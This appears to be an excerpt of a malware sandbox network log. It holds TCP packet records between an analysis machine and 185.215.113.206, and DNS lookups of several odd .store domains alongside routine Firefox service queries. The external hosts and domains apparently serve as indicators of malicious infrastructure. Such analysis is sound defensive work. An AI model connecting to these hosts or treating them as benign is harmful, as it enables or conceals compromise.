Oct 31, 2024 23:38:24.797024965 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797048092 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797049999 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797063112 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797074080 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797077894 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797094107 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797100067 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797110081 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797132969 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797147036 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797154903 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797158957 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797171116 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797187090 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797193050 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797202110 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797218084 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797219038 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797235966 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797244072 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797251940 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797266006 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797276974 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797281981 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797291040 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797297001 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797312975 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797322035 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797327042 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797343969 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797349930 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797359943 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797374964 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797384977 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797391891 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797406912 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797414064 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797422886 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797439098 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797439098 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797454119 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797455072 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797472954 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797489882 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797509909 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797549009 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797636032 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797651052 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797665119 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797679901 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797694921 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797712088 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797723055 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797725916 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797741890 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797756910 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797760963 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797771931 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797790051 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797795057 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797810078 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797815084 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797826052 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797842026 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797856092 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797872066 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797887087 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797903061 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797904968 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797924995 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797930002 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797930002 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797941923 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797959089 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797965050 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797980070 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.797992945 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.797995090 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798012018 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798019886 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798027992 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798042059 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798047066 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798057079 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798057079 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798074007 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798084974 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798089981 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798105955 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798105955 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798122883 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798125029 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798132896 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798142910 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798151970 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798158884 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798173904 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798181057 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798190117 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798204899 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798206091 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798228025 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798233032 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798243999 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798259020 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798270941 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798274994 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798290968 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798299074 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798307896 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798321962 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798325062 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798342943 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798351049 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798360109 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798367977 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798376083 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798388958 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798413038 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798624039 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798639059 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798652887 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798667908 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798681974 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798698902 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798711061 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798715115 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798726082 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798732042 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798746109 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798748970 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798772097 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798779964 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798788071 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798803091 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798813105 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798825979 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798832893 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798855066 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798866987 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.798896074 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798912048 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798927069 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798940897 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798955917 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798971891 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798986912 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.798990011 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.799002886 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.799019098 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.799019098 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.799032927 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.799036980 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.799058914 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.799068928 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.799072027 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.799088001 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.799112082 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.799118996 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.799180984 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.799339056 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.800192118 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.800218105 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.800229073 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.800239086 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.800254107 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.800271988 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.800762892 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.801875114 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.801891088 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.801907063 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.801920891 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.801938057 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.801951885 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.801960945 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802002907 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802025080 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802042961 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802057981 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802073002 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802089930 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802098989 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802114010 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802114964 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802129984 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802138090 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802145958 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802155972 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802164078 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802181005 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802187920 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802196026 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802210093 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802212954 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802227974 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802233934 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802251101 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802254915 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802269936 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802278996 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802284956 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802295923 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802300930 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802314043 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802323103 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802344084 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802380085 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802395105 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802409887 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802426100 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802440882 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802445889 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802458048 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802472115 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802475929 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802486897 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802493095 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802505016 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802512884 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802537918 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802738905 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802755117 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802769899 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802793980 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802804947 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802875042 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802890062 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802903891 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802916050 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802920103 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802927017 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802937984 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802942991 CET	443	49896	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:24.802947044 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802953005 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802964926 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802969933 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802984953 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.802993059 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.802994013 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.803009987 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.803042889 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.803167105 CET	443	49896	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:24.803301096 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.803334951 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.803350925 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.803358078 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.803364038 CET	49896	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:24.803386927 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.803416967 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.803432941 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.803450108 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.803507090 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.803530931 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.804472923 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.804487944 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.804502964 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.804512024 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.804517984 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.804534912 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.804534912 CET	80	49876	185.215.113.206	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 23:36:59.381202936 CET	192.168.2.4	1.1.1.1	0xbe70	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:36:59.393147945 CET	192.168.2.4	1.1.1.1	0x79f7	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:36:59.404084921 CET	192.168.2.4	1.1.1.1	0x5c75	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:36:59.417968035 CET	192.168.2.4	1.1.1.1	0x3927	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:36:59.433029890 CET	192.168.2.4	1.1.1.1	0x24c2	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:13.193377018 CET	192.168.2.4	1.1.1.1	0x1123	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:13.212095976 CET	192.168.2.4	1.1.1.1	0x5a8d	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:13.223699093 CET	192.168.2.4	1.1.1.1	0x9ff7	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:13.235224962 CET	192.168.2.4	1.1.1.1	0xff52	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:29.598678112 CET	192.168.2.4	1.1.1.1	0xf145	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:29.617769957 CET	192.168.2.4	1.1.1.1	0x4d63	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:29.629935980 CET	192.168.2.4	1.1.1.1	0xb839	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:29.639834881 CET	192.168.2.4	1.1.1.1	0x6e36	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:31.156378031 CET	192.168.2.4	1.1.1.1	0x661e	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:31.407336950 CET	192.168.2.4	1.1.1.1	0x8b8b	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 23:38:35.795357943 CET	192.168.2.4	1.1.1.1	0xce28	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:35.820462942 CET	192.168.2.4	1.1.1.1	0x4994	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:35.835531950 CET	192.168.2.4	1.1.1.1	0x3bee	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:35.856122017 CET	192.168.2.4	1.1.1.1	0xed9	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.723993063 CET	192.168.2.4	1.1.1.1	0xff22	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.729895115 CET	192.168.2.4	1.1.1.1	0xe928	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.733006001 CET	192.168.2.4	1.1.1.1	0xa6ac	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.741391897 CET	192.168.2.4	1.1.1.1	0xd8ba	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:40.742810965 CET	192.168.2.4	1.1.1.1	0x53f0	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 23:38:40.762217045 CET	192.168.2.4	1.1.1.1	0xbbe1	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 31, 2024 23:38:52.666131973 CET	192.168.2.4	1.1.1.1	0x35	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 23:38:53.023390055 CET	192.168.2.4	1.1.1.1	0x13e1	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.041069984 CET	192.168.2.4	1.1.1.1	0xc3b8	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.058080912 CET	192.168.2.4	1.1.1.1	0x7a35	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 23:38:53.066699028 CET	192.168.2.4	1.1.1.1	0x511d	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.152364016 CET	192.168.2.4	1.1.1.1	0xf8a7	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.159881115 CET	192.168.2.4	1.1.1.1	0xdcb7	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.189367056 CET	192.168.2.4	1.1.1.1	0xd791	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 23:38:53.350760937 CET	192.168.2.4	1.1.1.1	0x5974	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.358866930 CET	192.168.2.4	1.1.1.1	0xea90	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.376708031 CET	192.168.2.4	1.1.1.1	0x84d	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 31, 2024 23:38:53.384320974 CET	192.168.2.4	1.1.1.1	0x40e7	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.394079924 CET	192.168.2.4	1.1.1.1	0x9410	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 31, 2024 23:38:53.496198893 CET	192.168.2.4	1.1.1.1	0xd077	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.496624947 CET	192.168.2.4	1.1.1.1	0x1cce	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 31, 2024 23:38:53.501240015 CET	192.168.2.4	1.1.1.1	0xa21e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
